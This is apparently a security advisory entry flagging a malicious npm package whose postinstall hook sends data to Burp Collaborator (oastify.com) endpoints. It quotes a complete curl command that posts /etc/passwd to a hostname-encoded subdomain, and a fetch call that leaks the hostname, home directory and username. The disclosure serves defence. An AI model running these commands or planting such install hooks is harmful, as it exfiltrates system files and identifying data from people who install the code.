GCVE-110-OSM-2026-10544

On `npm install`, the package's postinstall hook runs two exfiltration paths against an attacker-controlled Burp Collaborator endpoint. First, package.json line 4 invokes `/usr/bin/curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`, posting the installer's `/etc/passwd` to a DNS-logging subdomain that encodes the victim's hostname. Second, scripts/scream3gg.js reads `os.hostname()`, `os.homedir()`, and `os.userInfo().username`, hex-encodes them, and issues `fetch('http://' + safeData + '.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com')`, leaking host identifiers via DNS+HTTP. Both paths fire automatically on default install with no opt-in. ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages - Brand New Package - Publisher Shows Burner-Account Pattern